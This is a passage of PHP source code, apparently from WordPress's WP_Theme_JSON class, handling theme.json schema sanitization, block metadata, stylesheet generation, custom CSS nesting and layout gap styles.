		'button'  => '.wp-element-button, .wp-block-button__link',
		// The block classes are necessary to target older content that won't use the new class names.
		'caption' => '.wp-element-caption, .wp-block-audio figcaption, .wp-block-embed figcaption, .wp-block-gallery figcaption, .wp-block-image figcaption, .wp-block-table figcaption, .wp-block-video figcaption',
		'cite'    => 'cite',
	);

	const __EXPERIMENTAL_ELEMENT_CLASS_NAMES = array(
		'button'  => 'wp-element-button',
		'caption' => 'wp-element-caption',
	);

	/**
	 * List of block support features that can have their related styles
	 * generated under their own feature level selector rather than the block's.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	const BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS = array(
		'__experimentalBorder' => 'border',
		'color'                => 'color',
		'spacing'              => 'spacing',
		'typography'           => 'typography',
	);

	/**
	 * Return the input schema at the root and per origin.
	 *
	 * @since 6.5.0
	 *
	 * @param array $schema The base schema.
	 * @return array The schema at the root and per origin.
	 *
	 * Example:
	 * schema_in_root_and_per_origin(
	 *   array(
	 *    'fontFamily' => null,
	 *    'slug' => null,
	 *   )
	 * )
	 *
	 * Returns:
	 * array(
	 *  'fontFamily' => null,
	 *  'slug' => null,
	 *  'default' => array(
	 *    'fontFamily' => null,
	 *    'slug' => null,
	 *  ),
	 *  'blocks' => array(
	 *    'fontFamily' => null,
	 *    'slug' => null,
	 *  ),
	 *  'theme' => array(
	 *     'fontFamily' => null,
	 *     'slug' => null,
	 *  ),
	 *  'custom' => array(
	 *     'fontFamily' => null,
	 *     'slug' => null,
	 *  ),
	 * )
	 */
	protected static function schema_in_root_and_per_origin( $schema ) {
		$schema_in_root_and_per_origin = $schema;
		foreach ( static::VALID_ORIGINS as $origin ) {
			$schema_in_root_and_per_origin[ $origin ] = $schema;
		}
		return $schema_in_root_and_per_origin;
	}

	/**
	 * Returns a class name by an element name.
	 *
	 * @since 6.1.0
	 *
	 * @param string $element The name of the element.
	 * @return string The name of the class.
	 */
	public static function get_element_class_name( $element ) {
		$class_name = '';

		if ( isset( static::__EXPERIMENTAL_ELEMENT_CLASS_NAMES[ $element ] ) ) {
			$class_name = static::__EXPERIMENTAL_ELEMENT_CLASS_NAMES[ $element ];
		}

		return $class_name;
	}

	/**
	 * Options that settings.appearanceTools enables.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Added `dimensions.minHeight` and `position.sticky`.
	 * @since 6.4.0 Added `background.backgroundImage`.
	 * @since 6.5.0 Added `background.backgroundSize` and `dimensions.aspectRatio`.
	 * @var array
	 */
	const APPEARANCE_TOOLS_OPT_INS = array(
		array( 'background', 'backgroundImage' ),
		array( 'background', 'backgroundSize' ),
		array( 'border', 'color' ),
		array( 'border', 'radius' ),
		array( 'border', 'style' ),
		array( 'border', 'width' ),
		array( 'color', 'link' ),
		array( 'color', 'heading' ),
		array( 'color', 'button' ),
		array( 'color', 'caption' ),
		array( 'dimensions', 'aspectRatio' ),
		array( 'dimensions', 'minHeight' ),
		array( 'position', 'sticky' ),
		array( 'spacing', 'blockGap' ),
		array( 'spacing', 'margin' ),
		array( 'spacing', 'padding' ),
		array( 'typography', 'lineHeight' ),
	);

	/**
	 * The latest version of the schema in use.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Changed value from 1 to 2.
	 * @var int
	 */
	const LATEST_SCHEMA = 2;

	/**
	 * Constructor.
	 *
	 * @since 5.8.0
	 *
	 * @param array  $theme_json A structure that follows the theme.json schema.
	 * @param string $origin     Optional. What source of data this object represents.
	 *                           One of 'default', 'theme', or 'custom'. Default 'theme'.
	 */
	public function __construct( $theme_json = array(), $origin = 'theme' ) {
		if ( ! in_array( $origin, static::VALID_ORIGINS, true ) ) {
			$origin = 'theme';
		}

		$this->theme_json    = WP_Theme_JSON_Schema::migrate( $theme_json );
		$valid_block_names   = array_keys( static::get_blocks_metadata() );
		$valid_element_names = array_keys( static::ELEMENTS );
		$valid_variations    = array();
		foreach ( self::get_blocks_metadata() as $block_name => $block_meta ) {
			if ( ! isset( $block_meta['styleVariations'] ) ) {
				continue;
			}
			$valid_variations[ $block_name ] = array_keys( $block_meta['styleVariations'] );
		}
		$theme_json       = static::sanitize( $this->theme_json, $valid_block_names, $valid_element_names, $valid_variations );
		$this->theme_json = static::maybe_opt_in_into_settings( $theme_json );

		// Internally, presets are keyed by origin.
		$nodes = static::get_setting_nodes( $this->theme_json );
		foreach ( $nodes as $node ) {
			foreach ( static::PRESETS_METADATA as $preset_metadata ) {
				$path = $node['path'];
				foreach ( $preset_metadata['path'] as $subpath ) {
					$path[] = $subpath;
				}
				$preset = _wp_array_get( $this->theme_json, $path, null );
				if ( null !== $preset ) {
					// If the preset is not already keyed by origin.
					if ( isset( $preset[0] ) || empty( $preset ) ) {
						_wp_array_set( $this->theme_json, $path, array( $origin => $preset ) );
					}
				}
			}
		}
	}

	/**
	 * Enables some opt-in settings if theme declared support.
	 *
	 * @since 5.9.0
	 *
	 * @param array $theme_json A theme.json structure to modify.
	 * @return array The modified theme.json structure.
	 */
	protected static function maybe_opt_in_into_settings( $theme_json ) {
		$new_theme_json = $theme_json;

		if (
			isset( $new_theme_json['settings']['appearanceTools'] ) &&
			true === $new_theme_json['settings']['appearanceTools']
		) {
			static::do_opt_in_into_settings( $new_theme_json['settings'] );
		}

		if ( isset( $new_theme_json['settings']['blocks'] ) && is_array( $new_theme_json['settings']['blocks'] ) ) {
			foreach ( $new_theme_json['settings']['blocks'] as &$block ) {
				if ( isset( $block['appearanceTools'] ) && ( true === $block['appearanceTools'] ) ) {
					static::do_opt_in_into_settings( $block );
				}
			}
		}

		return $new_theme_json;
	}

	/**
	 * Enables some settings.
	 *
	 * @since 5.9.0
	 *
	 * @param array $context The context to which the settings belong.
	 */
	protected static function do_opt_in_into_settings( &$context ) {
		foreach ( static::APPEARANCE_TOOLS_OPT_INS as $path ) {
			/*
			 * Use "unset prop" as a marker instead of "null" because
			 * "null" can be a valid value for some props (e.g. blockGap).
			 */
			if ( 'unset prop' === _wp_array_get( $context, $path, 'unset prop' ) ) {
				_wp_array_set( $context, $path, true );
			}
		}

		unset( $context['appearanceTools'] );
	}

	/**
	 * Sanitizes the input according to the schemas.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added the `$valid_block_names` and `$valid_element_name` parameters.
	 * @since 6.3.0 Added the `$valid_variations` parameter.
	 *
	 * @param array $input               Structure to sanitize.
	 * @param array $valid_block_names   List of valid block names.
	 * @param array $valid_element_names List of valid element names.
	 * @param array $valid_variations    List of valid variations per block.
	 * @return array The sanitized output.
	 */
	protected static function sanitize( $input, $valid_block_names, $valid_element_names, $valid_variations ) {

		$output = array();

		if ( ! is_array( $input ) ) {
			return $output;
		}

		// Preserve only the top most level keys.
		$output = array_intersect_key( $input, array_flip( static::VALID_TOP_LEVEL_KEYS ) );

		/*
		 * Remove any rules that are annotated as "top" in VALID_STYLES constant.
		 * Some styles are only meant to be available at the top-level (e.g.: blockGap),
		 * hence, the schema for blocks & elements should not have them.
		 */
		$styles_non_top_level = static::VALID_STYLES;
		foreach ( array_keys( $styles_non_top_level ) as $section ) {
			// array_key_exists() needs to be used instead of isset() because the value can be null.
			if ( array_key_exists( $section, $styles_non_top_level ) && is_array( $styles_non_top_level[ $section ] ) ) {
				foreach ( array_keys( $styles_non_top_level[ $section ] ) as $prop ) {
					if ( 'top' === $styles_non_top_level[ $section ][ $prop ] ) {
						unset( $styles_non_top_level[ $section ][ $prop ] );
					}
				}
			}
		}

		// Build the schema based on valid block & element names.
		$schema                 = array();
		$schema_styles_elements = array();

		/*
		 * Set allowed element pseudo selectors based on per element allow list.
		 * Target data structure in schema:
		 * e.g.
		 * - top level elements: `$schema['styles']['elements']['link'][':hover']`.
		 * - block level elements: `$schema['styles']['blocks']['core/button']['elements']['link'][':hover']`.
		 */
		foreach ( $valid_element_names as $element ) {
			$schema_styles_elements[ $element ] = $styles_non_top_level;

			if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] ) ) {
				foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] as $pseudo_selector ) {
					$schema_styles_elements[ $element ][ $pseudo_selector ] = $styles_non_top_level;
				}
			}
		}

		$schema_styles_blocks   = array();
		$schema_settings_blocks = array();
		foreach ( $valid_block_names as $block ) {
			// Build the schema for each block style variation.
			$style_variation_names = array();
			if (
				! empty( $input['styles']['blocks'][ $block ]['variations'] ) &&
				is_array( $input['styles']['blocks'][ $block ]['variations'] ) &&
				isset( $valid_variations[ $block ] )
			) {
				$style_variation_names = array_intersect(
					array_keys( $input['styles']['blocks'][ $block ]['variations'] ),
					$valid_variations[ $block ]
				);
			}

			$schema_styles_variations = array();
			if ( ! empty( $style_variation_names ) ) {
				$schema_styles_variations = array_fill_keys( $style_variation_names, $styles_non_top_level );
			}

			$schema_settings_blocks[ $block ]             = static::VALID_SETTINGS;
			$schema_styles_blocks[ $block ]               = $styles_non_top_level;
			$schema_styles_blocks[ $block ]['elements']   = $schema_styles_elements;
			$schema_styles_blocks[ $block ]['variations'] = $schema_styles_variations;
		}

		$schema['styles']                                 = static::VALID_STYLES;
		$schema['styles']['blocks']                       = $schema_styles_blocks;
		$schema['styles']['elements']                     = $schema_styles_elements;
		$schema['settings']                               = static::VALID_SETTINGS;
		$schema['settings']['blocks']                     = $schema_settings_blocks;
		$schema['settings']['typography']['fontFamilies'] = static::schema_in_root_and_per_origin( static::FONT_FAMILY_SCHEMA );

		// Remove anything that's not present in the schema.
		foreach ( array( 'styles', 'settings' ) as $subtree ) {
			if ( ! isset( $input[ $subtree ] ) ) {
				continue;
			}

			if ( ! is_array( $input[ $subtree ] ) ) {
				unset( $output[ $subtree ] );
				continue;
			}

			$result = static::remove_keys_not_in_schema( $input[ $subtree ], $schema[ $subtree ] );

			if ( empty( $result ) ) {
				unset( $output[ $subtree ] );
			} else {
				$output[ $subtree ] = static::resolve_custom_css_format( $result );
			}
		}

		return $output;
	}

	/**
	 * Appends a sub-selector to an existing one.
	 *
	 * Given the compounded $selector "h1, h2, h3"
	 * and the $to_append selector ".some-class" the result will be
	 * "h1.some-class, h2.some-class, h3.some-class".
	 *
	 * @since 5.8.0
	 * @since 6.1.0 Added append position.
	 * @since 6.3.0 Removed append position parameter.
	 *
	 * @param string $selector  Original selector.
	 * @param string $to_append Selector to append.
	 * @return string The new selector.
	 */
	protected static function append_to_selector( $selector, $to_append ) {
		if ( ! str_contains( $selector, ',' ) ) {
			return $selector . $to_append;
		}
		$new_selectors = array();
		$selectors     = explode( ',', $selector );
		foreach ( $selectors as $sel ) {
			$new_selectors[] = $sel . $to_append;
		}
		return implode( ',', $new_selectors );
	}

	/**
	 * Prepends a sub-selector to an existing one.
	 *
	 * Given the compounded $selector "h1, h2, h3"
	 * and the $to_prepend selector ".some-class " the result will be
	 * ".some-class h1, .some-class  h2, .some-class  h3".
	 *
	 * @since 6.3.0
	 *
	 * @param string $selector   Original selector.
	 * @param string $to_prepend Selector to prepend.
	 * @return string The new selector.
	 */
	protected static function prepend_to_selector( $selector, $to_prepend ) {
		if ( ! str_contains( $selector, ',' ) ) {
			return $to_prepend . $selector;
		}
		$new_selectors = array();
		$selectors     = explode( ',', $selector );
		foreach ( $selectors as $sel ) {
			$new_selectors[] = $to_prepend . $sel;
		}
		return implode( ',', $new_selectors );
	}

	/**
	 * Returns the metadata for each block.
	 *
	 * Example:
	 *
	 *     {
	 *       'core/paragraph': {
	 *         'selector': 'p',
	 *         'elements': {
	 *           'link' => 'link selector',
	 *           'etc'  => 'element selector'
	 *         }
	 *       },
	 *       'core/heading': {
	 *         'selector': 'h1',
	 *         'elements': {}
	 *       },
	 *       'core/image': {
	 *         'selector': '.wp-block-image',
	 *         'duotone': 'img',
	 *         'elements': {}
	 *       }
	 *     }
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `duotone` key with CSS selector.
	 * @since 6.1.0 Added `features` key with block support feature level selectors.
	 * @since 6.3.0 Refactored and stabilized selectors API.
	 *
	 * @return array Block metadata.
	 */
	protected static function get_blocks_metadata() {
		$registry = WP_Block_Type_Registry::get_instance();
		$blocks   = $registry->get_all_registered();

		// Is there metadata for all currently registered blocks?
		$blocks = array_diff_key( $blocks, static::$blocks_metadata );
		if ( empty( $blocks ) ) {
			return static::$blocks_metadata;
		}

		foreach ( $blocks as $block_name => $block_type ) {
			$root_selector = wp_get_block_css_selector( $block_type );

			static::$blocks_metadata[ $block_name ]['selector']  = $root_selector;
			static::$blocks_metadata[ $block_name ]['selectors'] = static::get_block_selectors( $block_type, $root_selector );

			$elements = static::get_block_element_selectors( $root_selector );
			if ( ! empty( $elements ) ) {
				static::$blocks_metadata[ $block_name ]['elements'] = $elements;
			}

			// The block may or may not have a duotone selector.
			$duotone_selector = wp_get_block_css_selector( $block_type, 'filter.duotone' );

			// Keep backwards compatibility for support.color.__experimentalDuotone.
			if ( null === $duotone_selector ) {
				$duotone_support = isset( $block_type->supports['color']['__experimentalDuotone'] )
					? $block_type->supports['color']['__experimentalDuotone']
					: null;

				if ( $duotone_support ) {
					$root_selector    = wp_get_block_css_selector( $block_type );
					$duotone_selector = static::scope_selector( $root_selector, $duotone_support );
				}
			}

			if ( null !== $duotone_selector ) {
				static::$blocks_metadata[ $block_name ]['duotone'] = $duotone_selector;
			}

			// If the block has style variations, append their selectors to the block metadata.
			if ( ! empty( $block_type->styles ) ) {
				$style_selectors = array();
				foreach ( $block_type->styles as $style ) {
					$style_selectors[ $style['name'] ] = static::get_block_style_variation_selector( $style['name'], static::$blocks_metadata[ $block_name ]['selector'] );
				}
				static::$blocks_metadata[ $block_name ]['styleVariations'] = $style_selectors;
			}
		}

		return static::$blocks_metadata;
	}

	/**
	 * Given a tree, removes the keys that are not present in the schema.
	 *
	 * It is recursive and modifies the input in-place.
	 *
	 * @since 5.8.0
	 *
	 * @param array $tree   Input to process.
	 * @param array $schema Schema to adhere to.
	 * @return array The modified $tree.
	 */
	protected static function remove_keys_not_in_schema( $tree, $schema ) {
		if ( ! is_array( $tree ) ) {
			return $tree;
		}

		foreach ( $tree as $key => $value ) {
			// Remove keys not in the schema or with null/empty values.
			if ( ! array_key_exists( $key, $schema ) ) {
				unset( $tree[ $key ] );
				continue;
			}

			if ( is_array( $schema[ $key ] ) ) {
				if ( ! is_array( $value ) ) {
					unset( $tree[ $key ] );
				} elseif ( wp_is_numeric_array( $value ) ) {
					// If indexed, process each item in the array.
					foreach ( $value as $item_key => $item_value ) {
						if ( isset( $schema[ $key ][0] ) && is_array( $schema[ $key ][0] ) ) {
							$tree[ $key ][ $item_key ] = self::remove_keys_not_in_schema( $item_value, $schema[ $key ][0] );
						} else {
							// If the schema does not define a further structure, keep the value as is.
							$tree[ $key ][ $item_key ] = $item_value;
						}
					}
				} else {
					// If associative, process as a single object.
					$tree[ $key ] = self::remove_keys_not_in_schema( $value, $schema[ $key ] );

					if ( empty( $tree[ $key ] ) ) {
						unset( $tree[ $key ] );
					}
				}
			}
		}
		return $tree;
	}

	/**
	 * Returns the existing settings for each block.
	 *
	 * Example:
	 *
	 *     {
	 *       'root': {
	 *         'color': {
	 *           'custom': true
	 *         }
	 *       },
	 *       'core/paragraph': {
	 *         'spacing': {
	 *           'customPadding': true
	 *         }
	 *       }
	 *     }
	 *
	 * @since 5.8.0
	 *
	 * @return array Settings per block.
	 */
	public function get_settings() {
		if ( ! isset( $this->theme_json['settings'] ) ) {
			return array();
		} else {
			return $this->theme_json['settings'];
		}
	}

	/**
	 * Returns the stylesheet that results of processing
	 * the theme.json structure this object represents.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Removed the `$type` parameter, added the `$types` and `$origins` parameters.
	 * @since 6.3.0 Add fallback layout styles for Post Template when block gap support isn't available.
	 *
	 * @param string[] $types   Types of styles to load. Will load all by default. It accepts:
	 *                          - `variables`: only the CSS Custom Properties for presets & custom ones.
	 *                          - `styles`: only the styles section in theme.json.
	 *                          - `presets`: only the classes for the presets.
	 * @param string[] $origins A list of origins to include. By default it includes VALID_ORIGINS.
	 * @param array    $options An array of options for now used for internal purposes only (may change without notice).
	 *                          The options currently supported are 'scope' that makes sure all style are scoped to a
	 *                          given selector, and root_selector which overwrites and forces a given selector to be
	 *                          used on the root node.
	 * @return string The resulting stylesheet.
	 */
	public function get_stylesheet( $types = array( 'variables', 'styles', 'presets' ), $origins = null, $options = array() ) {
		if ( null === $origins ) {
			$origins = static::VALID_ORIGINS;
		}

		if ( is_string( $types ) ) {
			// Dispatch error and map old arguments to new ones.
			_deprecated_argument( __FUNCTION__, '5.9.0' );
			if ( 'block_styles' === $types ) {
				$types = array( 'styles', 'presets' );
			} elseif ( 'css_variables' === $types ) {
				$types = array( 'variables' );
			} else {
				$types = array( 'variables', 'styles', 'presets' );
			}
		}

		$blocks_metadata = static::get_blocks_metadata();
		$style_nodes     = static::get_style_nodes( $this->theme_json, $blocks_metadata );
		$setting_nodes   = static::get_setting_nodes( $this->theme_json, $blocks_metadata );

		$root_style_key    = array_search( static::ROOT_BLOCK_SELECTOR, array_column( $style_nodes, 'selector' ), true );
		$root_settings_key = array_search( static::ROOT_BLOCK_SELECTOR, array_column( $setting_nodes, 'selector' ), true );

		if ( ! empty( $options['scope'] ) ) {
			foreach ( $setting_nodes as &$node ) {
				$node['selector'] = static::scope_selector( $options['scope'], $node['selector'] );
			}
			foreach ( $style_nodes as &$node ) {
				$node['selector'] = static::scope_selector( $options['scope'], $node['selector'] );
			}
			unset( $node );
		}

		if ( ! empty( $options['root_selector'] ) ) {
			if ( false !== $root_settings_key ) {
				$setting_nodes[ $root_settings_key ]['selector'] = $options['root_selector'];
			}
			if ( false !== $root_style_key ) {
				$style_nodes[ $root_style_key ]['selector'] = $options['root_selector'];
			}
		}

		$stylesheet = '';

		if ( in_array( 'variables', $types, true ) ) {
			$stylesheet .= $this->get_css_variables( $setting_nodes, $origins );
		}

		if ( in_array( 'styles', $types, true ) ) {
			if ( false !== $root_style_key ) {
				$stylesheet .= $this->get_root_layout_rules( $style_nodes[ $root_style_key ]['selector'], $style_nodes[ $root_style_key ] );
			}
			$stylesheet .= $this->get_block_classes( $style_nodes );
		} elseif ( in_array( 'base-layout-styles', $types, true ) ) {
			$root_selector          = static::ROOT_BLOCK_SELECTOR;
			$columns_selector       = '.wp-block-columns';
			$post_template_selector = '.wp-block-post-template';
			if ( ! empty( $options['scope'] ) ) {
				$root_selector          = static::scope_selector( $options['scope'], $root_selector );
				$columns_selector       = static::scope_selector( $options['scope'], $columns_selector );
				$post_template_selector = static::scope_selector( $options['scope'], $post_template_selector );
			}
			if ( ! empty( $options['root_selector'] ) ) {
				$root_selector = $options['root_selector'];
			}
			/*
			 * Base layout styles are provided as part of `styles`, so only output separately if explicitly requested.
			 * For backwards compatibility, the Columns block is explicitly included, to support a different default gap value.
			 */
			$base_styles_nodes = array(
				array(
					'path'     => array( 'styles' ),
					'selector' => $root_selector,
				),
				array(
					'path'     => array( 'styles', 'blocks', 'core/columns' ),
					'selector' => $columns_selector,
					'name'     => 'core/columns',
				),
				array(
					'path'     => array( 'styles', 'blocks', 'core/post-template' ),
					'selector' => $post_template_selector,
					'name'     => 'core/post-template',
				),
			);

			foreach ( $base_styles_nodes as $base_style_node ) {
				$stylesheet .= $this->get_layout_styles( $base_style_node, $types );
			}
		}

		if ( in_array( 'presets', $types, true ) ) {
			$stylesheet .= $this->get_preset_classes( $setting_nodes, $origins );
		}

		return $stylesheet;
	}

	/**
	 * Processes the CSS, to apply nesting.
	 *
	 * @since 6.2.0
	 *
	 * @param string $css      The CSS to process.
	 * @param string $selector The selector to nest.
	 * @return string The processed CSS.
	 */
	protected function process_blocks_custom_css( $css, $selector ) {
		$processed_css = '';

		// Split CSS nested rules.
		$parts = explode( '&', $css );
		foreach ( $parts as $part ) {
			$is_root_css = ( ! str_contains( $part, '{' ) );
			if ( $is_root_css ) {
				// If the part doesn't contain braces, it applies to the root level.
				$processed_css .= trim( $selector ) . '{' . trim( $part ) . '}';
			} else {
				// If the part contains braces, it's a nested CSS rule.
				$part = explode( '{', str_replace( '}', '', $part ) );
				if ( count( $part ) !== 2 ) {
					continue;
				}
				$nested_selector = $part[0];
				$css_value       = $part[1];
				$part_selector   = str_starts_with( $nested_selector, ' ' )
					? static::scope_selector( $selector, $nested_selector )
					: static::append_to_selector( $selector, $nested_selector );
				$processed_css  .= $part_selector . '{' . trim( $css_value ) . '}';
			}
		}
		return $processed_css;
	}

	/**
	 * Returns the global styles custom CSS.
	 *
	 * @since 6.2.0
	 *
	 * @return string The global styles custom CSS.
	 */
	public function get_custom_css() {
		// Add the global styles root CSS.
		$stylesheet = isset( $this->theme_json['styles']['css'] ) ? $this->theme_json['styles']['css'] : '';

		// Add the global styles block CSS.
		if ( isset( $this->theme_json['styles']['blocks'] ) ) {
			foreach ( $this->theme_json['styles']['blocks'] as $name => $node ) {
				$custom_block_css = isset( $this->theme_json['styles']['blocks'][ $name ]['css'] )
					? $this->theme_json['styles']['blocks'][ $name ]['css']
					: null;
				if ( $custom_block_css ) {
					$selector    = static::$blocks_metadata[ $name ]['selector'];
					$stylesheet .= $this->process_blocks_custom_css( $custom_block_css, $selector );
				}
			}
		}

		return $stylesheet;
	}

	/**
	 * Returns the page templates of the active theme.
	 *
	 * @since 5.9.0
	 *
	 * @return array
	 */
	public function get_custom_templates() {
		$custom_templates = array();
		if ( ! isset( $this->theme_json['customTemplates'] ) || ! is_array( $this->theme_json['customTemplates'] ) ) {
			return $custom_templates;
		}

		foreach ( $this->theme_json['customTemplates'] as $item ) {
			if ( isset( $item['name'] ) ) {
				$custom_templates[ $item['name'] ] = array(
					'title'     => isset( $item['title'] ) ? $item['title'] : '',
					'postTypes' => isset( $item['postTypes'] ) ? $item['postTypes'] : array( 'page' ),
				);
			}
		}
		return $custom_templates;
	}

	/**
	 * Returns the template part data of active theme.
	 *
	 * @since 5.9.0
	 *
	 * @return array
	 */
	public function get_template_parts() {
		$template_parts = array();
		if ( ! isset( $this->theme_json['templateParts'] ) || ! is_array( $this->theme_json['templateParts'] ) ) {
			return $template_parts;
		}

		foreach ( $this->theme_json['templateParts'] as $item ) {
			if ( isset( $item['name'] ) ) {
				$template_parts[ $item['name'] ] = array(
					'title' => isset( $item['title'] ) ? $item['title'] : '',
					'area'  => isset( $item['area'] ) ? $item['area'] : '',
				);
			}
		}
		return $template_parts;
	}

	/**
	 * Converts each style section into a list of rulesets
	 * containing the block styles to be appended to the stylesheet.
	 *
	 * See glossary at https://developer.mozilla.org/en-US/docs/Web/CSS/Syntax
	 *
	 * For each section this creates a new ruleset such as:
	 *
	 *   block-selector {
	 *     style-property-one: value;
	 *   }
	 *
	 * @since 5.8.0 As `get_block_styles()`.
	 * @since 5.9.0 Renamed from `get_block_styles()` to `get_block_classes()`
	 *              and no longer returns preset classes.
	 *              Removed the `$setting_nodes` parameter.
	 * @since 6.1.0 Moved most internal logic to `get_styles_for_block()`.
	 *
	 * @param array $style_nodes Nodes with styles.
	 * @return string The new stylesheet.
	 */
	protected function get_block_classes( $style_nodes ) {
		$block_rules = '';

		foreach ( $style_nodes as $metadata ) {
			if ( null === $metadata['selector'] ) {
				continue;
			}
			$block_rules .= static::get_styles_for_block( $metadata );
		}

		return $block_rules;
	}

	/**
	 * Gets the CSS layout rules for a particular block from theme.json layout definitions.
	 *
	 * @since 6.1.0
	 * @since 6.3.0 Reduced specificity for layout margin rules.
	 * @since 6.5.1 Only output rules referencing content and wide sizes when values exist.
	 * @since 6.5.3 Add types parameter to check if only base layout styles are needed.
	 *
	 * @param array $block_metadata Metadata about the block to get styles for.
	 * @param array $types          Optional. Types of styles to output. If empty, all styles will be output.
	 * @return string Layout styles for the block.
	 */
	protected function get_layout_styles( $block_metadata, $types = array() ) {
		$block_rules = '';
		$block_type  = null;

		// Skip outputting layout styles if explicitly disabled.
		if ( current_theme_supports( 'disable-layout-styles' ) ) {
			return $block_rules;
		}

		if ( isset( $block_metadata['name'] ) ) {
			$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block_metadata['name'] );
			if ( ! block_has_support( $block_type, 'layout', false ) && ! block_has_support( $block_type, '__experimentalLayout', false ) ) {
				return $block_rules;
			}
		}

		$selector                 = isset( $block_metadata['selector'] ) ? $block_metadata['selector'] : '';
		$has_block_gap_support    = isset( $this->theme_json['settings']['spacing']['blockGap'] );
		$has_fallback_gap_support = ! $has_block_gap_support; // This setting isn't useful yet: it exists as a placeholder for a future explicit fallback gap styles support.
		$node                     = _wp_array_get( $this->theme_json, $block_metadata['path'], array() );
		$layout_definitions       = wp_get_layout_definitions();
		$layout_selector_pattern  = '/^[a-zA-Z0-9\-\.\ *+>:\(\)]*$/'; // Allow alphanumeric classnames, spaces, wildcard, sibling, child combinator and pseudo class selectors.

		/*
		 * Gap styles will only be output if the theme has block gap support, or supports a fallback gap.
		 * Default layout gap styles will be skipped for themes that do not explicitly opt-in to blockGap with a `true` or `false` value.
		 */
		if ( $has_block_gap_support || $has_fallback_gap_support ) {
			$block_gap_value = null;
			// Use a fallback gap value if block gap support is not available.
			if ( ! $has_block_gap_support ) {
				$block_gap_value = static::ROOT_BLOCK_SELECTOR === $selector ? '0.5em' : null;
				if ( ! empty( $block_type ) ) {
					$block_gap_value = isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] )
						? $block_type->supports['spacing']['blockGap']['__experimentalDefault']
						: null;
				}
			} else {
				$block_gap_value = static::get_property_value( $node, array( 'spacing', 'blockGap' ) );
			}

			// Support split row / column values and concatenate to a shorthand value.
			if ( is_array( $block_gap_value ) ) {
				if ( isset( $block_gap_value['top'] ) && isset( $block_gap_value['left'] ) ) {
					$gap_row         = static::get_property_value( $node, array( 'spacing', 'blockGap', 'top' ) );
					$gap_column      = static::get_property_value( $node, array( 'spacing', 'blockGap', 'left' ) );
					$block_gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column;
				} else {
					// Skip outputting gap value if not all sides are provided.
					$block_gap_value = null;
				}
			}

			// If the block should have custom gap, add the gap styles.
			if ( null !== $block_gap_value && false !== $block_gap_value && '' !== $block_gap_value ) {
				foreach ( $layout_definitions as $layout_definition_key => $layout_definition ) {
					// Allow outputting fallback gap styles for flex and grid layout types when block gap support isn't available.
					if ( ! $has_block_gap_support && 'flex' !== $layout_definition_key && 'grid' !== $layout_definition_key ) {
						continue;
					}

					$class_name    = isset( $layout_definition['className'] ) ? $layout_definition['className'] : false;
					$spacing_rules = isset( $layout_definition['spacingStyles'] ) ? $layout_definition['spacingStyles'] : array();

					if (
						! empty( $class_name ) &&
						! empty( $spacing_rules )
					) {
						foreach ( $spacing_rules as $spacing_rule ) {
							$declarations = array();
							if (
								isset( $spacing_rule['selector'] ) &&
								preg_match( $layout_selector_pattern, $spacing_rule['selector'] ) &&
								! empty( $spacing_rule['rules'] )
							) {
								// Iterate over each of the styling rules and substitute non-string values such as `null` with the real `blockGap` value.
								foreach ( $spacing_rule['rules'] as $css_property => $css_value ) {
									$current_css_value = is_string( $css_value ) ? $css_value : $block_gap_value;
									if ( static::is_safe_css_declaration( $css_property, $current_css_value ) ) {
										$declarations[] = array(
											'name'  => $css_property,
											'value' => $current_css_value,
										);
									}
								}

								if ( ! $has_block_gap_support ) {
									// For fallback gap styles, use lower specificity, to ensure styles do not unintentionally override theme styles.
									$format          = static::ROOT_BLOCK_SELECTOR === $selector ? ':where(.%2$s%3$s)' : ':where(%1$s.%2$s%3$s)';
									$layout_selector = sprintf(
										$format,
										$selector,
										$class_name,
										$spacing_rule['selector']
									);
								} else {
									$format          = static::ROOT_BLOCK_SELECTOR === $selector ? ':where(%s .%s) %s' : '%s-%s%s';
									$layout_selector = sprintf(
										$format,
										$selector,
										$class_name,
										$spacing_rule['selector']
									);
								}
								$block_rules .= static::to_ruleset( $layout_selector, $declarations );
							}
						}
					}
				}
			}
		}

		// Output base styles.
		if (
			static::ROOT_BLOCK_SELECTOR === $selector
		) {
			$valid_display_modes = array( 'block', 'flex', 'grid' );
			foreach ( $layout_definitions as $layout_definition ) {
				$class_name       = isset( $layout_definition['className'] ) ? $layout_definition['className'] : false;
				$base_style_rules = isset( $layout_definition['baseStyles'] ) ? $layout_definition['baseStyles'] : array();

				if (
					! empty( $class_name ) &&
					is_array( $base_style_rules )
				) {
					// Output display mode. This requires special handling as `display` is not exposed in `safe_style_css_filter`.
					if (
						! empty( $layout_definition['displayMode'] ) &&
						is_string( $layout_definition['displayMode'] ) &&
						in_array( $layout_definition['displayMode'], $valid_display_modes, true )
					) {
						$layout_selector = sprintf(
							'%s .%s',
							$selector,
							$class_name
						);
						$block_rules    .= static::to_ruleset(
							$layout_selector,
							array(
								array(
									'name'  => 'display',
									'value' => $layout_definition['displayMode'],
								),
							)
						);
					}

					foreach ( $base_style_rules as $base_style_rule ) {
						$declarations = array();

						// Skip outputting base styles for flow and constrained layout types if theme doesn't support theme.json. The 'base-layout-styles' type flags this.
						if ( in_array( 'base-layout-styles', $types, true ) && ( 'default' === $layout_definition['name'] || 'constrained' === $layout_definition['name'] ) ) {
							continue;
						}

						if (
							isset( $base_style_rule['selector'] ) &&
							preg_match( $layout_selector_pattern, $base_style_rule['selector'] ) &&
							! empty( $base_style_rule['rules'] )
						) {
							foreach ( $base_style_rule['rules'] as $css_property => $css_value ) {
								// Skip rules that reference content size or wide size if they are not defined in the theme.json.
								if (
									is_string( $css_value ) &&
									( str_contains( $css_value, '--global--content-size' ) || str_contains( $css_value, '--global--wide-size' ) ) &&
									! isset( $this->theme_json['settings']['layout']['contentSize'] ) &&
									! isset( $this->theme_json['settings']['layout']['wideSize'] )
								) {
									continue;
								}

								if ( static::is_safe_css_declaration( $css_property, $css_value ) ) {
									$declarations[] = array(
										'name'  => $css_property,
										'value' => $css_value,
